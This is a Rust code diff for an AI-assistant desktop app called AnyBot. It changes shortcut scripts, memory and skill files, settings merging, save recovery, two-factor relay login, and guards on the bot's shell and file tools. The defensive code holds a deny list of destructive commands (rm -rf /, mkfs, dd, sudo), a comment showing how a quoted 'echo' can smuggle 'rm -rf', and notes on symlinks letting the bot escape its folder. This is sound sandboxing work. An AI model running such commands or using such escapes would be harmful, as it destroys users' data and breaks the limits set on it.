("wifi", "off") => on("networksetup -setairportpower en0 off", "nmcli radio wifi off 2>/dev/null || rfkill block wifi"),
("lock", "") => on("pmset displaysleepnow", "loginctl lock-session 2>/dev/null || xset dpms force off"),
("dark", "dark") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true'", "gsettings set org.gnome.desktop.interface color-scheme prefer-dark"),
("dark", "light") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false'", "gsettings set org.gnome.desktop.interface color-scheme prefer-light"),
("dark", "toggle") => on(
"osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)'",
"gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\"",
),
("trash", "") => format!("{}osascript -e 'tell application \"Finder\" to empty trash' ;; rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\" ;; esac)", mac("")),
("eject", "") => format!("{}osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)' ;; echo 只有 Mac 有這個捷徑 ;; esac)", mac("")),
("trash", "") => on("osascript -e 'tell application \"Finder\" to empty trash'", "rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\""),
("eject", "") => on("osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)'", "echo 只有 Mac 有這個捷徑"),
(_, "") => return Err(format!("「{name}」不需要 arg。")),
(_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))),
})
@ -198,10 +201,29 @@ mod tests {
}
#[test]
fn a_shortcut_runs_here_and_says_so() {
// This machine is Linux: volume goes through pactl/amixer; with neither in the
// sandbox the script still returns an honest sentence, never a panic.
let (text, _) = tool(&serde_json::json!({"intent_name": "lock"})).unwrap();
assert!(text.starts_with("捷徑 lock"), "{text}");
fn every_script_is_a_script_the_shell_can_read() {
// Parsed, never run (`sh -n`): running one here would lock the screen or change the
// volume of whoever runs the tests. The test that ran `lock` passed for the wrong
// reason — every script was a syntax error, and the failure sentence starts with the
// same words as the success one.
if cfg!(target_os = "windows") {
return;
}
let all = [
("volume", "up"), ("volume", "down"), ("volume", "mute"), ("volume", "unmute"), ("volume", "set 40"), ("volume", "40"),
("wifi", "on"), ("wifi", "off"), ("lock", ""), ("dark", "dark"), ("dark", "light"), ("dark", "toggle"), ("trash", ""), ("eject", ""),
];
for (name, arg) in all {
let sh = script(name, arg).unwrap();
let out = std::process::Command::new("/bin/sh").arg("-n").arg("-c").arg(&sh).output().unwrap();
assert!(out.status.success(), "{name} {arg}: {}\n{sh}", String::from_utf8_lossy(&out.stderr));
// Each system gets its own command, in its own branch.
let (mac, linux) = sh.split_once(" ;; Linux) ").unwrap();
assert!(mac.starts_with("case \"$(uname -s)\" in Darwin) ") && mac.len() > 40 && linux.ends_with(" ;; esac") && linux.len() > 20, "{sh}");
}
// Every registered shortcut is covered above.
for i in INTENTS {
assert!(all.iter().any(|(n, _)| *n == i.name), "{}", i.name);
}
}
}

View File

@ -54,9 +54,24 @@ pub const TEMPLATES: [Template; 5] = [
/// as the body, and an optional ```steps fence (the ReplayStep list a replay follows).
pub fn skill_dir() -> std::path::PathBuf {
// Tests never touch the person's data folder.
if cfg!(test) {
return crate::oplog::dir().join("skills");
}
crate::model::State::path().parent().map(|p| p.join("skills")).unwrap_or_else(old_skill_dir)
}
/// Where skill files were kept before (inside the work log's folder, which no document
/// mentioned): still read, so a skill installed then is not lost.
fn old_skill_dir() -> std::path::PathBuf {
crate::oplog::dir().join("skills")
}
fn skill_dirs() -> Vec<std::path::PathBuf> {
let (old, new) = (old_skill_dir(), skill_dir());
if old == new { vec![new] } else { vec![old, new] }
}
fn slug_of(name: &str) -> String {
let mut o: String = name
.chars()
@ -97,11 +112,12 @@ pub fn parse_skill_file(text: &str) -> Option<Skill> {
description = v.trim().to_string();
}
}
rest = body[end + 3..].trim_start_matches('\n');
// "\n---" is four bytes (three left the last dash at the head of the instructions).
rest = body[end + 4..].trim_start_matches('\n');
}
}
let mut steps: Vec<ReplayStep> = vec![];
let mut instructions = rest.to_string();
let mut instructions = rest.trim().to_string();
if let Some(start) = rest.find("```steps") {
if let Some(close) = rest[start..].find("```") {
// close is at the fence start inside rest[start..]; find the *second* fence
@ -127,24 +143,37 @@ pub fn install_skill_text(text: &str) -> Result<String, String> {
Ok(s.name)
}
pub fn load_skill_files() -> Vec<Skill> {
/// Every skill file with the skill in it (the old folder first: the same name in `skill_dir`
/// is the newer one and wins the merge).
fn skill_files() -> Vec<(std::path::PathBuf, Skill)> {
let mut out = vec![];
if let Ok(rd) = std::fs::read_dir(skill_dir()) {
for f in rd.flatten() {
for dir in skill_dirs() {
let mut here = vec![];
for f in std::fs::read_dir(dir).into_iter().flatten().flatten() {
let p = f.path();
if p.extension().and_then(|e| e.to_str()) == Some("md") {
if let Ok(text) = std::fs::read_to_string(&p) {
if let Some(s) = parse_skill_file(&text) {
out.push(s);
}
if let Some(s) = std::fs::read_to_string(&p).ok().and_then(|text| parse_skill_file(&text)) {
here.push((p, s));
}
}
}
here.sort_by(|a, b| a.1.name.cmp(&b.1.name));
out.extend(here);
}
out.sort_by(|a, b| a.name.cmp(&b.name));
out
}
pub fn load_skill_files() -> Vec<Skill> {
skill_files().into_iter().map(|(_, s)| s).collect()
}
/// Take a deleted skill's files off the shelf, whatever they are called (a file left there
/// brought the skill back at the next start). Returns how many went.
pub fn remove_skill_files(name: &str) -> usize {
let name = name.trim();
skill_files().into_iter().filter(|(p, s)| s.name == name && std::fs::remove_file(p).is_ok()).count()
}
/// Files win: a skill file replaces the same-named skill in the bot's head at every start.
pub fn merge_skill_files(skills: &mut Vec<Skill>) -> usize {
let mut n = 0;
@ -240,13 +269,14 @@ pub fn remember(list: &mut Vec<String>, fact: &str) -> Result<String, String> {
Ok(format!("記住了:{f}"))
}
/// Forget by number (1-based) or by text it contains.
/// Forget by the memory's own words, by its number in the whole list (1-based: the list in
/// the settings, never the few lines a prompt carries), or by text it contains.
pub fn forget(list: &mut Vec<String>, what: &str) -> Result<String, String> {
let w = what.trim();
let idx = match w.parse::<usize>() {
let idx = list.iter().position(|m| !w.is_empty() && m == w).or_else(|| match w.parse::<usize>() {
Ok(n) if n >= 1 && n <= list.len() => Some(n - 1),
_ => list.iter().position(|m| !w.is_empty() && m.contains(w)),
};
});
match idx {
Some(i) => Ok(format!("忘記了:{}", list.remove(i))),
None => Err(format!("沒有記得「{w}」這件事")),
@ -442,9 +472,11 @@ pub fn recall(bot: u64, query: &str, list: &[String], limit: usize) -> Vec<Strin
pub fn prompt_section(memories: &[String], skills: &[Skill]) -> String {
let mut s = String::new();
if !memories.is_empty() {
s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增、forget 刪除):\n");
for (i, m) in memories.iter().enumerate() {
s.push_str(&format!("{}. {m}\n", i + 1));
// No numbers: these are a few lines of the list, and a number here would be another
// memory's place in the whole list (forget would take the wrong one).
s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增;要刪除時把那一條的文字交給 forget):\n");
for m in memories {
s.push_str(&format!("- {m}\n"));
}
} else {
s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。");
@ -521,7 +553,14 @@ mod tests {
assert_eq!(m.len(), MAX_MEMORIES);
assert_eq!(m[0], "事 5");
let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]);
assert!(p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill"));
assert!(p.contains("- 事 5\n") && !p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill"));
// A memory that is itself a number is forgotten by its words, not as a place in the list.
let mut m = vec!["甲".to_string(), "2".to_string(), "丙".to_string(), "乙".to_string()];
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:2");
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:丙");
// The whole line wins over a line that merely contains it.
let mut m = vec!["不喝咖啡因".to_string(), "咖啡".to_string()];
assert_eq!(forget(&mut m, "咖啡").unwrap(), "忘記了:咖啡");
}
fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall {
@ -613,6 +652,15 @@ mod tests {
let back = parse_skill_file(&text).unwrap();
assert_eq!(back.name, "每日打卡");
assert_eq!(back.steps, sk.steps);
// The words come back as written, with or without a steps block after them.
assert_eq!((back.description.as_str(), back.instructions.as_str()), ("在下載資料夾記一天", "打開終端機記個日期"));
let plain = parse_skill_file(&skill_to_file(&Skill { steps: vec![], ..sk.clone() })).unwrap();
assert_eq!(plain.instructions, "打開終端機記個日期");
// The example files in the repo read cleanly too.
for f in std::fs::read_dir(concat!(env!("CARGO_MANIFEST_DIR"), "/skills")).unwrap().flatten() {
let s = parse_skill_file(&std::fs::read_to_string(f.path()).unwrap()).unwrap();
assert!(!s.instructions.is_empty() && !s.instructions.starts_with('-'), "{:?}: {}", f.path(), s.instructions);
}
assert!(parse_skill_file("no front matter at all").is_none());
}

View File

@ -259,6 +259,55 @@ pub fn default_computer() -> String {
pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)";
impl Bot {
/// 「儲存」 in the bot's settings: what the person changed there (`edited`, against `from`
/// — the bot as the editor opened it) is put onto the bot as it is now. Everything else
/// stays as it is now: a turn running meanwhile gave it messages, things to remember,
/// 「永遠允許」 rules, a routine, a conversation put aside. (The editor's copy used to replace
/// the bot whole, messages aside, and all of that was gone with the save.)
/// In a list of plain values (記得的事, 永遠允許, 群組成員) what was taken out goes and what
/// was added comes; the rest of the list is as it is now.
pub fn take_edit(&mut self, mut from: Bot, mut edited: Bot) {
use serde_json::Value;
let messages = std::mem::take(&mut self.messages);
from.messages.clear();
edited.messages.clear();
let fields = |b: &Bot| serde_json::to_value(b).ok().and_then(|v| v.as_object().cloned());
let merged = (|| {
let (mut now, from, edited) = (fields(self)?, fields(&from)?, fields(&edited)?);
let plain = |v: &Value| v.as_array().is_some_and(|a| a.iter().all(|x| x.is_string() || x.is_number()));
let keys: std::collections::BTreeSet<&String> = from.keys().chain(edited.keys()).collect();
for k in keys {
let (was, is) = (from.get(k), edited.get(k));
if was == is {
continue;
}
match (was, is, now.get(k)) {
(Some(was), Some(is), Some(cur)) if plain(was) && plain(is) && plain(cur) => {
let (was, is) = (was.as_array().cloned().unwrap_or_default(), is.as_array().cloned().unwrap_or_default());
let mut list: Vec<Value> = cur.as_array().cloned().unwrap_or_default();
list.retain(|x| !was.contains(x) || is.contains(x));
for x in is.iter().filter(|x| !was.contains(x)) {
if !list.contains(x) {
list.push(x.clone());
}
}
now.insert(k.clone(), Value::Array(list));
}
(_, Some(is), _) => {
now.insert(k.clone(), is.clone());
}
// (A field left out when it is empty: emptied in the editor.)
(_, None, _) => {
now.remove(k);
}
}
}
serde_json::from_value::<Bot>(Value::Object(now)).ok()
})();
*self = merged.unwrap_or(edited);
self.messages = messages;
}
/// A turn that was still running when the app closed can't continue: mark its empty
/// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat
/// can be retried instead of looking stuck.
@ -455,6 +504,9 @@ impl State {
}
}
/// The save on disk couldn't be read at start and couldn't be moved aside: never write over it.
static KEEP_UNREAD_SAVE: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
impl State {
pub fn path() -> PathBuf {
// A server (or a second copy for testing) can keep its data elsewhere.
@ -468,17 +520,36 @@ impl State {
}
pub fn load() -> State {
let p = Self::path();
let raw = std::fs::read_to_string(&p);
Self::load_from(&Self::path())
}
fn load_from(p: &std::path::Path) -> State {
let raw = std::fs::read_to_string(p);
let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::<State>(s).ok());
let mut s = match parsed {
Some(s) => s,
None => {
// A damaged save must not vanish quietly: keep the bytes (so the person can
// recover them), then start fresh. Silently wiping left no trace before.
if let Ok(raw) = raw.as_ref() {
let damaged = p.with_extension(format!("json.damaged-{}", chrono::Utc::now().timestamp()));
let _ = std::fs::write(&damaged, raw);
let stamp = chrono::Utc::now().timestamp();
match raw.as_ref() {
// A damaged save must not vanish quietly: keep the bytes (so the person can
// recover them), then start fresh. Silently wiping left no trace before.
Ok(raw) => {
let damaged = p.with_extension(format!("json.damaged-{stamp}"));
let _ = std::fs::write(&damaged, raw);
}
// No save yet: a first run.
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
// A save that is there but can't be read (its permissions, a disk error,
// bytes that aren't text) is no first run: the next save would have written
// an empty AnyBot over it. It is moved aside whole, and if even that fails
// nothing is saved over it this run.
Err(e) => {
let aside = p.with_extension(format!("json.unreadable-{stamp}"));
eprintln!("AnyBot:讀不到 {}({e})。原檔會留著,不會被新的設定蓋掉。", p.display());
if std::fs::rename(p, &aside).is_err() {
KEEP_UNREAD_SAVE.store(true, std::sync::atomic::Ordering::SeqCst);
}
}
}
State::first_run()
}
@ -494,6 +565,10 @@ impl State {
/// Write everything to disk; true once it is there.
pub fn save(&self) -> bool {
let p = Self::path();
// (The save that couldn't be read at start, nor moved aside, is still there.)
if KEEP_UNREAD_SAVE.load(std::sync::atomic::Ordering::SeqCst) && p.exists() {
return false;
}
if let Some(dir) = p.parent() {
let _ = std::fs::create_dir_all(dir);
}
@ -812,6 +887,43 @@ pub fn bot_computer_dir(bot_id: u64) -> PathBuf {
mod start_tests {
use super::*;
/// 「儲存」 in a bot's settings puts on the bot what the person changed there, and leaves
/// what the bot got while the settings were open.
#[test]
fn saving_a_bots_settings_keeps_what_it_got_meanwhile() {
let mut bot = State::samples().bots.remove(0);
bot.memories = vec!["喜歡靠窗".into(), "住台南".into()];
bot.allow_rules = vec!["edit_file".into()];
bot.messages = vec![Message::user("嗨")];
bot.voice.clear();
let from = bot.clone();
// In the editor: a new name, one memory forgotten, a voice picked.
let mut edited = from.clone();
edited.name = "新名字".into();
edited.memories.retain(|m| m != "喜歡靠窗");
edited.voice = "Meijia".into();
// Meanwhile, in the chat: an answer, something remembered, 「永遠允許」, a conversation
// put aside, a folder to work in.
bot.messages.push(Message::assistant("你好", "x"));
bot.memories.push("咖啡不加糖".into());
bot.allow_rules.push("shell:git".into());
bot.threads.push(("舊對話".into(), vec![Message::user("之前")]));
bot.workdir = "/tmp/work".into();
bot.tools_enabled = !from.tools_enabled;
bot.take_edit(from.clone(), edited);
assert_eq!((bot.name.as_str(), bot.voice.as_str()), ("新名字", "Meijia"));
assert_eq!(bot.memories, vec!["住台南".to_string(), "咖啡不加糖".to_string()]);
assert_eq!(bot.allow_rules, vec!["edit_file".to_string(), "shell:git".to_string()]);
assert_eq!((bot.messages.len(), bot.threads.len(), bot.workdir.as_str()), (2, 1, "/tmp/work"));
assert_eq!(bot.tools_enabled, !from.tools_enabled);
// A field emptied in the editor is emptied (it is left out of the file when empty).
let from = bot.clone();
let mut edited = bot.clone();
edited.voice.clear();
bot.take_edit(from, edited);
assert_eq!(bot.voice, "");
}
/// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's
/// view starts at the newest one.
#[test]
@ -876,4 +988,34 @@ mod start_tests {
let ids: std::collections::HashSet<u64> = here.bots.iter().map(|b| b.id).collect();
assert_eq!(ids.len(), here.bots.len());
}
/// A save that is there but can't be read is kept, not taken for a first run (the next save
/// wrote a fresh AnyBot over it).
#[test]
fn a_save_that_cannot_be_read_is_kept() {
let d = std::env::temp_dir().join(format!("anybot-load-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
let p = d.join("state.json");
let kept = |mark: &str| std::fs::read_dir(&d).unwrap().flatten().map(|e| e.path()).find(|f| f.to_string_lossy().contains(mark));
// No save at all: a first run, and nothing is set aside.
State::load_from(&p);
assert_eq!(std::fs::read_dir(&d).unwrap().count(), 0);
// Bytes that aren't text (a disk gone wrong): moved aside whole.
let bytes = [0xff, 0xfe, 0x00, 0x41, 0xff];
std::fs::write(&p, bytes).unwrap();
State::load_from(&p);
assert!(!p.exists());
assert_eq!(std::fs::read(kept("unreadable").unwrap()).unwrap(), bytes);
// Text that isn't a save: a copy is kept, as before.
std::fs::write(&p, "{ not json").unwrap();
State::load_from(&p);
assert_eq!(std::fs::read_to_string(kept("damaged").unwrap()).unwrap(), "{ not json");
// A good save loads.
let mut s = State::samples();
s.bots[0].name = "留著的".into();
std::fs::write(&p, serde_json::to_string(&s).unwrap()).unwrap();
assert_eq!(State::load_from(&p).bots[0].name, "留著的");
let _ = std::fs::remove_dir_all(&d);
}
}

View File

@ -113,6 +113,37 @@ pub fn system_open(target: impl AsRef<std::ffi::OsStr>) -> std::process::Command
c
}
/// Opening this file would run it (or install it) instead of showing it: scripts Terminal
/// starts on a double click, apps, installers, shortcuts that point at something else. A bot
/// may show the person what it made; it may not have their computer run what it made — that
/// is the shell's job, with the shell's questions.
pub fn runs_when_opened(p: &Path) -> bool {
const RUNS: [&str; 15] = ["command", "tool", "app", "terminal", "pkg", "mpkg", "jar", "workflow", "prefpane", "saver", "inetloc", "fileloc", "desktop", "appimage", "run"];
const RUNS_ON_WINDOWS: [&str; 17] = ["exe", "bat", "cmd", "com", "msi", "lnk", "ps1", "vbs", "vbe", "js", "jse", "wsf", "hta", "scr", "pif", "reg", "url"];
// What an executable bit doesn't turn into a program: the system opens these by their kind.
const SHOWN: [&str; 38] = [
"html", "htm", "pdf", "png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "tiff", "heic", "txt", "md", "csv", "tsv", "json", "xml", "yaml", "yml", "log", "rtf", "doc", "docx", "xls", "xlsx",
"ppt", "pptx", "pages", "numbers", "key", "mp3", "m4a", "wav", "mp4", "mov", "webm", "zip",
];
let ext = p.extension().map(|e| e.to_string_lossy().to_lowercase()).unwrap_or_default();
if RUNS.contains(&ext.as_str()) || (cfg!(target_os = "windows") && RUNS_ON_WINDOWS.contains(&ext.as_str())) {
return true;
}
// A file marked executable that isn't a known kind of document opens in Terminal and runs.
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
if let Ok(m) = std::fs::metadata(p) {
if m.is_file() && m.permissions().mode() & 0o111 != 0 && !SHOWN.contains(&ext.as_str()) {
return true;
}
}
}
#[cfg(not(unix))]
let _ = SHOWN;
false
}
pub fn open_with_system(target: &str) {
let mut c = system_open(target);
if let Err(e) = crate::computer::spawn_reaped(&mut c) {
@ -723,6 +754,39 @@ mod tests {
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn showing_a_file_is_not_running_it() {
let dir = std::env::temp_dir().join(format!("anybot-opens-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(dir.join("Thing.app")).unwrap();
let file = |name: &str, executable: bool| {
let p = dir.join(name);
std::fs::write(&p, "#!/bin/sh\necho hi\n").unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&p, std::fs::Permissions::from_mode(if executable { 0o755 } else { 0o644 })).unwrap();
}
let _ = executable;
p
};
// What Terminal, the Finder or an installer would start.
for name in ["run.command", "RUN.COMMAND", "setup.pkg", "tool.jar", "x.terminal", "go.desktop"] {
assert!(runs_when_opened(&file(name, false)), "{name}");
}
assert!(runs_when_opened(&dir.join("Thing.app")));
// What is only shown, executable bit or not (some disks mark every file executable).
for name in ["report.html", "chart.png", "notes.md", "data.xlsx"] {
assert!(!runs_when_opened(&file(name, false)) && !runs_when_opened(&file(name, true)), "{name}");
}
assert!(!runs_when_opened(&dir), "a plain folder opens in the file manager");
assert!(!runs_when_opened(&file("script.sh", false)) && !runs_when_opened(&file("LICENSE", false)));
// An executable that isn't a document runs in Terminal when opened.
#[cfg(unix)]
assert!(runs_when_opened(&file("deploy", true)) && runs_when_opened(&file("script.sh", true)));
let _ = std::fs::remove_dir_all(&dir);
}
/// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`.
#[test]
#[ignore]

View File

@ -1106,9 +1106,34 @@ fn base(url: &str) -> String {
url.trim().trim_end_matches('/').to_string()
}
/// How the refusal starts when the account has 兩步驗證 on and no code came with the password
/// (the forms look for it to show their 驗證碼 field).
pub const NEED_CODE: &str = "這個帳號開了兩步驗證";
/// Sign in as the person: the password, then — when the account has 兩步驗證 on — the code of
/// their authenticator app (or one of the recovery codes). Gives the session.
/// (The answer to a right password is then a challenge, not a session: read as a session, it
/// was 「帳號伺服器沒有給登入憑證」, and an account with 兩步驗證 could not sign a computer in
/// or fetch its backup at all.)
fn relay_login(url: &str, user: &str, password: &str, device: &str, code: &str) -> Result<String, String> {
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": device}))?;
if let Some(t) = v["token"].as_str().filter(|t| !t.is_empty()) {
return Ok(t.to_string());
}
if v["need_2fa"].as_bool() != Some(true) {
return Err("帳號伺服器沒有給登入憑證".into());
}
let code = code.trim();
if code.is_empty() {
return Err(format!("{NEED_CODE}:還要驗證器 App 現在的六位碼(或一組恢復碼)。"));
}
let v = relay_post(&format!("{url}/relay/2fa/verify"), "", &json!({"challenge": v["challenge"], "code": code}))?;
v["token"].as_str().filter(|t| !t.is_empty()).map(String::from).ok_or_else(|| "帳號伺服器沒有給登入憑證".to_string())
}
/// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts.
/// Returns the settings to keep.
pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str) -> Result<Settings, String> {
/// Returns the settings to keep. `code`: the 兩步驗證 code, for an account that has it on.
pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str, code: &str) -> Result<Settings, String> {
// The relay signs people in by the trimmed, lowered name; the backup key must be derived
// from exactly the same string, or two computers signing in as "Dan" and "dan" get keys
// that cannot open each other's backups.
@ -1136,8 +1161,7 @@ pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &st
}
}
}
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": host_name}))?;
let session = v["token"].as_str().ok_or("帳號伺服器沒有給登入憑證")?.to_string();
let session = relay_login(&url, user, password, host_name, code)?;
let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?;
// The desktop doesn't need to stay signed in as a person; only the host key is kept.
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
@ -1265,13 +1289,12 @@ pub fn backup_now(s: &Settings, state_json: &[u8]) -> Result<usize, String> {
}
/// Download and open the newest backup of this account (for a new computer).
pub fn restore(url: &str, user: &str, password: &str) -> Result<Vec<u8>, String> {
pub fn restore(url: &str, user: &str, password: &str, code: &str) -> Result<Vec<u8>, String> {
// Same name shape the relay (and relay_join) use for the backup key.
let user = user.trim().to_lowercase();
let user = user.as_str();
let url = base(url);
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": "還原備份"}))?;
let session = v["token"].as_str().unwrap_or("").to_string();
let session = relay_login(&url, user, password, "還原備份", code)?;
let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?;
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
if resp.status().as_u16() == 404 {
@ -1447,6 +1470,7 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
files.push(json!({"path": n, "data": base64::engine::general_purpose::STANDARD.encode(bytes)}));
} else {
let mut stack = vec![local.to_path_buf()];
let home = std::fs::canonicalize(local).unwrap_or_else(|_| local.to_path_buf());
while let Some(d) = stack.pop() {
for e in std::fs::read_dir(&d).map_err(|e| format!("讀不到資料夾:{e}"))?.flatten() {
let p = e.path();
@ -1454,6 +1478,12 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
if fname.starts_with('.') || fname == "node_modules" {
continue;
}
// Keys and the like stay home, and so does what a link points to outside the
// site's folder (a link to ~/Documents would have put it all on the web).
let real = std::fs::canonicalize(&p).unwrap_or_else(|_| p.clone());
if crate::tools::is_ignored(&p) || crate::tools::is_ignored(&real) || !real.starts_with(&home) {
continue;
}
if p.is_dir() {
stack.push(p);
} else if let Ok(bytes) = std::fs::read(&p) {
@ -1533,9 +1563,9 @@ pub struct AccountFind {
pub backup: Option<Vec<u8>>,
}
pub fn find_account_bots(s: &Settings, password: &str) -> AccountFind {
pub fn find_account_bots(s: &Settings, password: &str, code: &str) -> AccountFind {
let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id));
let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password).ok() } else { None };
let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password, code).ok() } else { None };
AccountFind { brain, backup }
}
@ -1832,13 +1862,13 @@ mod account_sync_live {
let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL");
let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123");
// The first computer signs up and backs up its bots.
let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "").unwrap();
let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "", "").unwrap();
let mut st = crate::model::State::samples();
st.remote = Default::default();
backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap();
// A new computer signs in: no other brain is on, so the backup is what it takes in.
let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "").unwrap();
let found = find_account_bots(&b, pw);
let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "", "").unwrap();
let found = find_account_bots(&b, pw, "");
assert!(found.brain.is_none());
let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap();
let mut here = crate::model::State::first_run();

View File

@ -550,7 +550,8 @@ fn brain_of(s: &Settings) -> Option<Peer> {
/// Sign in with the password; the brain is picked when there is only one to pick.
fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option<Peer>, Vec<Peer>), String> {
let url = remote::check_server(url)?;
let s = remote::relay_join(base, &url, user, pass, false, "")?;
// (No field for a 兩步驗證 code on these pages: the pairing code is the way in then.)
let s = remote::relay_join(base, &url, user, pass, false, "", "").map_err(|e| if e.starts_with(remote::NEED_CODE) { format!("{e}這裡請改用配對碼:在手機或電腦的 AnyBot 按「加一台電腦」。") } else { e })?;
let list = list_brains(&s).unwrap_or_default();
let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect();
let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None };

View File

@ -174,6 +174,37 @@ fn inside(workdir: &Path, p: &Path) -> bool {
p.starts_with(workdir)
}
/// Where a path really leads, links followed — also for a file that isn't there yet (its
/// folder's real place, plus its name) and for a link to something that isn't there yet (what
/// would be made by writing to it).
fn real_of(p: &Path) -> PathBuf {
fn steps(p: &Path, links: usize) -> PathBuf {
if let Ok(real) = std::fs::canonicalize(p) {
return real;
}
if links < 16 {
if let Ok(to) = std::fs::read_link(p) {
let to = if to.is_absolute() { to } else { p.parent().unwrap_or(Path::new("/")).join(to) };
return steps(&resolve(Path::new("/"), &to.to_string_lossy()), links + 1);
}
}
match (p.parent(), p.file_name()) {
(Some(parent), Some(name)) if parent != p => steps(parent, links).join(name),
_ => p.to_path_buf(),
}
}
steps(p, 0)
}
/// The file is in the folder — the real file, in the real folder. How the path is spelled is
/// not enough: a link inside the folder that points out of it is a way out. (A command the
/// sandbox keeps inside the folder can still make such a link; reading or editing "through"
/// it then reached any file of the person's, with no question — from the bot's sealed folder
/// too.)
fn within(folder: &Path, p: &Path) -> bool {
inside(&real_of(folder), &real_of(p))
}
/// Files a bot never reads or writes: secrets and version-control internals
/// (the original blocks reads/writes by ignore files and repo-block globs),
/// plus this app's own data folder, where API keys are saved.
@ -208,47 +239,200 @@ const READ_ONLY_COMMANDS: [&str; 24] = [
/// Always refused.
const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"];
/// Split `a && b | c; d` into its commands, keeping quoted text together.
/// Returns None when the command hides other commands ($(), backticks, eval).
pub fn split_commands(cmd: &str) -> Option<Vec<String>> {
let mut parts = vec![];
/// One command of a chain. `hidden`: it carries commands the rules can't read ($(…), backticks,
/// <(…), eval…), so being a "looking" command says nothing about what it runs.
struct Piece {
text: String,
hidden: bool,
}
/// Split `a && b | c; d` where the shell itself would: at the separators outside quotes and
/// outside $(…) and backticks. None when a quote or a substitution never closes (nothing in
/// such a command can be read for sure).
///
/// A backslash makes the next character plain text, as it does for the shell: `\"` opens no
/// quote and `\;` ends no command. Without that, `echo \"; rm -rf x; echo \"` read as one
/// harmless `echo`.
fn split_shell(cmd: &str) -> Option<Vec<Piece>> {
#[derive(PartialEq)]
enum In {
Double,
Paren,
Tick,
}
fn close(cur: &mut String, hidden: &mut bool, pieces: &mut Vec<Piece>) {
let text = cur.trim().to_string();
if !text.is_empty() {
let first = text.split_whitespace().next().unwrap_or("");
let runs_words = matches!(first, "eval" | "exec" | "source" | ".");
pieces.push(Piece { text, hidden: *hidden || runs_words });
}
cur.clear();
*hidden = false;
}
let mut pieces = vec![];
let mut cur = String::new();
let (mut sq, mut dq) = (false, false);
let mut hidden = false;
let mut single = false;
let mut stack: Vec<In> = vec![];
let chars: Vec<char> = cmd.chars().collect();
let mut i = 0;
while i < chars.len() {
let c = chars[i];
